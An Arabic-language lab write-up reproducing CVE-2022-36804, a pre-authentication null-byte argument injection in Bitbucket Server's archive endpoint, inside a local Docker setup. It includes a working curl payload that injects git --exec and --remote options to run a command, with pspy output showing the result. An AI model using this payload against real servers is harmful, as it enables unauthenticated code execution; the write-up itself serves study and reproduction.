
Investigating CVE-2022-36804
إعادة إنشاء ثغرة تنفيذ التعليمات البرمجية عن بُعد حيث يفشل Bitbucket في تعقيم مدخلات المستخدم، مما يسمح للمهاجمين بحقن خيارات Git وتنفيذ التعليمات البرمجية عن بُعد.
يوثق هذا المستودع كيفية إعادة إنتاج ثغرة CVE-2022-36804، وهي مشكلة تتعلق بحقن الوسائط قبل المصادقة في Bitbucket Server. كان الهدف هو إظهار المشكلة الأمنية الأساسية كما هو موضح في التقرير العام الصادر عن Assetnote. تم إجراء جميع الاختبارات في بيئة محلية معزولة.
تحدث ثغرة CVE-2022-36804 بسبب تمرير Bitbucket لمدخلات المستخدم مباشرة إلى عملية فرعية تابعة لـ git archive دون تعقيم البايتات الفارغة. وبسبب استخدام Bitbucket لـ NuProcess لاستدعاء git، يتم الحفاظ على البايتات الفارغة مما يؤدي إلى تقسيم الوسائط. وهذا يسمح للمهاجم بحقن خيارات Git إضافية في الأمر. في الإصدارات المعرضة للخطر (مثل 7.21.0 المستخدم في هذا الإعداد) يؤدي هذا إلى تنفيذ التعليمات البرمجية عن بُعد دون مصادقة.
تحدث ثغرة تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة هذه في نقطة النهاية /archive المسؤولة عن إنشاء أرشيفات المستودعات باستخدام وظيفة git archive. يمرر Bitbucket معامل prefix مباشرة إلى العملية الفرعية لـ git دون تعقيم البايتات الفارغة. نظرًا لأن git مكتوب بلغة C، فإن البايت الفارغ ينهي السلسلة مبكرًا. لذلك يتم تفسير كل ما بعد البايت الفارغ على أنه وسيط سطر أوامر منفصل. وهذا يسمح للمهاجم بحقن خيارات Git عشوائية في الأمر.
يعمل هذا لأن Bitbucket يستخدم NuProcess الذي يحافظ على البايتات الفارغة بدلاً من إزالتها. ونتيجة لذلك، يستلم Git المدخلات الخام تمامًا كما يقدمها المستخدم. وبما أن git يتعامل مع البايتات الفارغة كفواصل نهاية للسلسلة، يتم تقسيم قيمة prefix إلى وسائط متعددة عند تمريرها إلى العملية الفرعية لـ git. وهذا يسمح بتهريب خيارات Git إضافية بعد البايت الفارغ. وعند دمجها مع خيارات مثل --exec و --remote، يؤدي حقن الوسائط هذا مباشرةً إلى تنفيذ التعليمات البرمجية عن بُعد في الإصدارات المعرضة للخطر من Bitbucket Server.
TEST/demo)لبدء البيئة:
docker compose up -d
تحقق من الإصدار:
cat /opt/atlassian/bitbucket/VERSION
المفتاح لفهم هذه الثغرة هو إظهار أن البايت الفارغ في معامل prefix يجعل Bitbucket يمرر وسائط متعددة إلى git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
اترك pspy يعمل.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
يختبر هذا ما إذا كان البايت الفارغ يسبب تقسيم الوسائط.
في pspy، يُظهر Bitbucket الأمر التالي:
/usr/bin/git archive --format=zip --prefix=test canary/ --
هنا يظهر test وcanary كوسيطين منفصلين بدلاً من واحد. قام %00 بتقسيم المدخلات وأصبح Bitbucket مجبرًا على تمريرهما كوسيطين مستقلين إلى git.
تعرض الصورة أدناه pspy وهو يعمل داخل حاوية Bitbucket الخاصة بـ Docker ويلتقط /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). ما تم إرساله كقيمة واحدة - test%00canary - يُمرر كوسيطين منفصلين. البايت الفارغ قسم المدخلات مما أدى إلى إدخال وسيط إضافي في أمر git.
عن طريق حقن --exec=touch /tmp/pwned و --remote=file:///... عبر البايتات الفارغة، ينفذ الخادم أمرًا عشوائيًا. على الرغم من أن git يخرج برمز 128، فإن الأمر يعمل قبل أن يظهر git الخطأ ويتم إنشاء /tmp/pwned داخل الحاوية.
الحمولة:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
تعرض الصورة أدناه pspy وهو يلتقط سلسلة التنفيذ الكاملة - /usr/bin/git archive يعمل مع وسيطي --exec و --remote (PID=74412)، مما يؤدي إلى تشغيل /bin/sh touch /tmp/pwned (PID=74413)

باستخدام docker exec -it bitbucket ls -la /tmp/pwned كان من الممكن التحقق من إنشاء الملف.
هذا موضح في الصورة أدناه.

Johan - ستوكهولم، السويد